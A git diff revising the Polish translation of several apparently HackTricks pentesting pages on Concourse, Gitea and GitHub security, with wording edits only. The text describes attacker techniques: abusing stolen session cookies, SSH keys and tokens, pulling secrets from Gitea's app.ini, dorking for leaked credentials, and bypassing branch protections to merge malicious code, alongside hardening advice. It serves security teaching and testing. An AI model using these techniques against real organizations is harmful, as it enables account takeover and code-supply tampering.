@@ -87,7 +87,7 @@ Można użyć kilku różnych typów kroków:
Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić cokolwiek chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz, itd.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku.
-Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebny jest do uruchomienia każdego kroku.
+Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebuje każdy krok do uruchomienia.
### Przykład prostego pipeline'a
```yaml
@@ -131,13 +131,13 @@ Możliwe jest **zapisanie wyników jednego zadania w pliku** i wskazanie, że je
### Wyzwalacze
-Nie musisz ręcznie wyzwalać zadań za każdym razem, gdy musisz je uruchomić, możesz również zaprogramować je do uruchamiania za każdym razem:
+Nie musisz ręcznie wyzwalać zadań za każdym razem, gdy chcesz je uruchomić, możesz również zaprogramować je do uruchamiania za każdym razem:
- Mija trochę czasu: [Time resource](https://github.com/concourse/time-resource/)
- Przy nowych commitach do głównej gałęzi: [Git resource](https://github.com/concourse/git-resource)
- Nowe PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Pobierz lub wypchnij najnowszy obraz swojej aplikacji: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-Sprawdź przykład pipeline'u YAML, który wyzwala się przy nowych commitach do master w [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Sprawdź przykład pipeline'u YAML, który wyzwala się przy nowych commitach do mastera w [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index 74e9d9a33..d5de040ce 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Czym jest Gitea
+## Co to jest Gitea
**Gitea** to **rozwiązanie do hostowania kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go.
@@ -41,7 +41,7 @@ W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github.
### Z Danymi Użytkownika/Ciastkiem Webowym
-Jeśli w jakiś sposób już masz dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wypisać innych użytkowników** oraz **jak są chronione repozytoria.**
+Jeśli w jakiś sposób masz już dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wymienić innych użytkowników** i **jak są chronione repozytoria.**
Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**.
@@ -52,15 +52,15 @@ Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostę
Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (2FA nie jest stosowane).
-Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
+Dzięki temu kluczowi możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
-Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** w swoim koncie pod adresem _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
+Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** na swoim koncie w _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
-**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
+**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchamiać projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
#### Klucze GPG
@@ -74,7 +74,7 @@ gpg --list-secret-keys --keyid-format=long
Aby uzyskać wprowadzenie na temat [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-gitea-information.md#personal-access-tokens).
-Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** w serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do konta użytkownika.
+Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** na serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do użytkownika.
### Z aplikacją Oauth
@@ -99,9 +99,9 @@ Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść te za
### Wyliczanie Webhooków
-**Webhooki** są w stanie **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\
+**Webhooki** mogą **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\
Jednak zazwyczaj w **webhooku** ustawiony jest **sekret**, którego **nie możesz odzyskać**, co **zapobiega** zewnętrznym użytkownikom, którzy znają URL webhooka, ale nie znają sekretu, aby **wykorzystać ten webhook**.\
-Jednak w niektórych przypadkach ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać.
+Jednak w niektórych przypadkach, ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać.
Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**.
@@ -109,7 +109,7 @@ Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**.
### Wewnątrz serwera
-Jeśli w jakiś sposób udało ci się dostać do serwera, na którym działa gitea, powinieneś poszukać pliku konfiguracyjnego gitea. Domyślnie znajduje się on w `/data/gitea/conf/app.ini`
+Jeśli w jakiś sposób udało ci się dostać do serwera, na którym działa gitea, powinieneś poszukać pliku konfiguracyjnego gitea. Domyślnie znajduje się on w `/data/gitea/conf/app.ini`.
W tym pliku możesz znaleźć **klucze** i **hasła**.
@@ -120,7 +120,7 @@ W ścieżce gitea (domyślnie: /data/gitea) możesz również znaleźć interesu
- **klucz prywatny jwt** w folderze jwt.
- Więcej **wrażliwych informacji** można znaleźć w tym folderze.
-Jeśli jesteś wewnątrz serwera, możesz również **użyć binarnego pliku `gitea`** do uzyskania/dostosowania informacji:
+Jeśli jesteś wewnątrz serwera, możesz również **użyć binarki `gitea`**, aby uzyskać dostęp/modyfikować informacje:
- `gitea dump` zrzuci gitea i wygeneruje plik .zip.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` wygeneruje token wskazanego typu (trwałość).
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index eaff61f2b..2313977ca 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -16,7 +16,7 @@ I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
### Organizacje
-Gdy **organizacja jest tworzona**, tworzony jest zespół o nazwie **Właściciele** i użytkownik jest do niego dodawany. Ten zespół zapewni **dostęp administracyjny** do **organizacji**, te **uprawnienia** i **nazwa** zespołu **nie mogą być modyfikowane**.
+Gdy **organizacja jest tworzona**, tworzony jest zespół o nazwie **Właściciele** i użytkownik jest do niego dodawany. Ten zespół zapewni **dostęp administracyjny** do **organizacji**, te **uprawnienia** oraz **nazwa** zespołu **nie mogą być modyfikowane**.
**Administratorzy organizacji** (właściciele) mogą wybrać **widoczność** organizacji:
@@ -38,7 +38,7 @@ Podczas tworzenia nowego zespołu wybierane są kilka ważnych ustawień:
### Zespoły i użytkownicy
-W repozytorium, **administrator organizacji** i **administratorzy repozytoriów** (jeśli dozwolone przez organizację) mogą **zarządzać rolami** nadawanymi współpracownikom (innym użytkownikom) i zespołom. Istnieją **3** możliwe **role**:
+W repozytorium, **administrator organizacji** oraz **administratorzy repozytoriów** (jeśli pozwala na to organizacja) mogą **zarządzać rolami** przyznawanymi współpracownikom (innym użytkownikom) i zespołom. Istnieją **3** możliwe **role**:
- Administrator
- Zapis
@@ -48,7 +48,7 @@ W repozytorium, **administrator organizacji** i **administratorzy repozytoriów*
### Dostęp przez sieć
-Używając **nazwa użytkownika + hasło** i potencjalnie (i zalecane) 2FA.
+Używając **nazwa użytkownika + hasło** oraz potencjalnie (i zalecane) 2FA.
### **Klucze SSH**
@@ -56,7 +56,7 @@ Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, po
#### **Klucze GPG**
-**Nie możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**.
+Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**.
### **Tokeny dostępu osobistego**
@@ -79,20 +79,20 @@ Ochrona gałęzi ma na celu **nieprzekazywanie pełnej kontroli nad repozytorium
**Ochrona gałęzi repozytorium** może być znaleziona w _https://localhost:3000/\/\/settings/branches_
> [!NOTE]
-> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
+> Nie **można ustawić ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
Różne ochrony mogą być stosowane do gałęzi (jak do master):
- **Wyłącz Push**: Nikt nie może wypychać do tej gałęzi
-- **Włącz Push**: Każdy z dostępem może wypychać, ale nie może wymusić wypychania.
-- **Biała lista ograniczonego Push**: Tylko wybrani użytkownicy/zespoły mogą wypychać do tej gałęzi (ale nie wymuszone wypychanie)
+- **Włącz Push**: Każdy z dostępem może wypychać, ale nie może wymusić wypchnięcia.
+- **Biała lista ograniczonego Push**: Tylko wybrani użytkownicy/zespoły mogą wypychać do tej gałęzi (ale nie wymuszone wypchnięcie)
- **Włącz białą listę scalania**: Tylko użytkownicy/zespoły z białej listy mogą scalać PR-y.
- **Włącz kontrole statusu:** Wymagaj, aby kontrole statusu przeszły przed scaleniem.
- **Wymagaj zatwierdzeń**: Wskaź liczbę zatwierdzeń wymaganą przed scaleniem PR.
- **Ogranicz zatwierdzenia do białej listy**: Wskaź użytkowników/zespoły, które mogą zatwierdzać PR-y.
-- **Zablokuj scalanie na odrzuconych recenzjach**: Jeśli wymagane są zmiany, nie może być scalone (nawet jeśli inne kontrole przejdą)
-- **Zablokuj scalanie na oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone
-- **Odrzuć przestarzałe zatwierdzenia**: Po nowych commitach, stare zatwierdzenia zostaną odrzucone.
+- **Zablokuj scalanie przy odrzuconych recenzjach**: Jeśli zmiany są wymagane, nie może być scalone (nawet jeśli inne kontrole przejdą)
+- **Zablokuj scalanie przy oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone
+- **Odrzuć przestarzałe zatwierdzenia**: Gdy pojawią się nowe commity, stare zatwierdzenia zostaną odrzucone.
- **Wymagaj podpisanych commitów**: Commity muszą być podpisane.
- **Zablokuj scalanie, jeśli pull request jest przestarzały**
- **Wzory plików chronionych/niechronionych**: Wskaź wzory plików do ochrony/od ochrony przed zmianami
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index 319805fb7..c1e92c569 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Czym jest Github
+## Co to jest Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Na wysokim poziomie, **GitHub to strona internetowa i usługa w chmurze, która pomaga programistom przechowywać i zarządzać swoim kodem, a także śledzić i kontrolować zmiany w swoim kodzie**.
@@ -18,23 +18,23 @@ Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętr
- **Prywatne** oznacza, że **tylko** osoby z **organizacji** będą mogły uzyskać do nich dostęp
- **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do nich dostęp
-- **Publiczne** oznacza, że **wszyscy w internecie** będą mogli uzyskać do nich dostęp.
+- **Publiczne** oznacza, że **cały internet** będzie mógł uzyskać do nich dostęp.
-W przypadku, gdy znasz **użytkownika, repozytorium lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repozytorium**.
+W przypadku, gdy znasz **użytkownika, repo lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repo**.
### Github Dorks
-Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repozytorium lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**.
+Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repo lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**.
Narzędzia (każde narzędzie zawiera swoją listę dorks):
-- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
-Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repozytorium i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów).
+Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repo i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów).
Narzędzia (każde narzędzie zawiera swoją listę regexów):
@@ -47,11 +47,11 @@ Narzędzia (każde narzędzie zawiera swoją listę regexów):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
+> Kiedy szukasz wycieków w repo i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
### Zewnętrzne forki
-Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać konfiguracje yaml Github Actions. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork).
+Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać pliki konfiguracyjne Github Actions yaml. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork).
### Github Leaks w usuniętych/wewnętrznych forkach
@@ -61,7 +61,7 @@ Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażl
accessible-deleted-data-in-github.md
{{#endref}}
-## Wzmocnienie organizacji
+## Wzmacnianie organizacji
### Uprawnienia członków
@@ -70,15 +70,15 @@ Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **cz
- **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zalecane jest **None** lub **Read**.
- **Forkowanie repozytoriów**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na forkowanie repozytoriów organizacji.
- **Tworzenie stron**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron.
-- **Prośby o dostęp do integracji**: Z tym włączonym zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
+- **Prośby o dostęp do integracji**: Po włączeniu tego, zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
-- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmienić jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie robili rzeczy **publicznymi**, upewnij się, że to jest **wyłączone**.
+- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**.
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z **uprawnieniami admina** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**.
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
-- **Zezwolenie członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej, aby to było wyłączone.
+- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej jest to wyłączyć.
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
-- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są najbardziej związane z bezpieczeństwem.
+- **Więcej rzeczy można skonfigurować** na tej stronie, ale powyższe są najbardziej związane z bezpieczeństwem.
### Ustawienia akcji
@@ -87,20 +87,20 @@ Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z
> [!NOTE]
> Zauważ, że wszystkie te konfiguracje można również ustawić w każdym repozytorium niezależnie
-- **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflowy i które workflowy powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji.
+- **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflow i które workflow powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Workflowy pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników.
+- **Workflow pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników.
- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
-- **Uruchamianie workflowów z pull requestów**: Jest to **silnie odradzane, aby uruchamiać workflowy z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym.
+- **Uruchamianie workflow z pull requestów**: Jest **wysoce odradzane uruchamianie workflow z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym.
- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
-- **Uprawnienia workflowów**: Silnie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflowów.
+- **Uprawnienia workflow**: Zdecydowanie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflow.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integracje
_Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!_
-- **Polityka dostępu aplikacji zewnętrznych**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
+- **Polityka dostępu aplikacji stron trzecich**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
- **Zainstalowane aplikacje GitHub**: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie).
## Rozpoznanie i ataki nadużywające poświadczeń
@@ -114,21 +114,21 @@ Jeśli w jakiś sposób masz już poświadczenia dla użytkownika w organizacji,
Zauważ, że **2FA może być używane**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**.
> [!NOTE]
-> Zauważ, że jeśli **uda ci się ukraść ciasteczko `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA.
+> Zauważ, że jeśli **uda ci się ukraść cookie `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA.
-Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](./#branch-protection-bypass), jeśli to może być przydatne.
+Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](./#branch-protection-bypass), jeśli to będzie przydatne.
### Z kluczem SSH użytkownika
Github pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (nie stosuje się 2FA).
-Z tym kluczem możesz dokonywać **zmian w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API github, aby enumerować środowisko. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
+Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API github, aby enumerować środowisko. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
-Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** w swoim koncie pod adresem _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
+Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** na swoim koncie w _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
@@ -142,9 +142,9 @@ gpg --list-secret-keys --keyid-format=long
```
### Z tokenem użytkownika
-Aby uzyskać wprowadzenie do [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens).
+Aby uzyskać wprowadzenie do [**Tokenów użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens).
-Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje.
+Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień możesz być w stanie wykonać różne akcje.
Token użytkownika wygląda tak: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
@@ -177,10 +177,10 @@ abusing-github-actions/
## Ominięcie ochrony gałęzi
- **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i w ten sposób uzyskać 1 zatwierdzenie.
-- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._
+- _Uwaga dla tego i dla ograniczenia Właścicieli kodu, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._
- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią.
-- **Wymagaj przeglądów od Właścicieli Kodów**: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**.
-- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.**
+- **Wymagaj przeglądów od Właścicieli kodu**: Jeśli to jest aktywowane i jesteś Właścicielem kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**.
+- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli kodu nie jest stosowana.**
- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochrony pull requestów.
- **Uwzględnij administratorów**: Jeśli to nie jest ustawione i jesteś administratorem repozytorium, możesz ominąć te ochrony gałęzi.
- **Przechwytywanie PR**: Możesz być w stanie **zmodyfikować PR kogoś innego**, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko.
@@ -192,9 +192,9 @@ abusing-github-actions/
Aby uzyskać wprowadzenie do [**Środowiska Github sprawdź podstawowe informacje**](basic-github-information.md#git-environments).
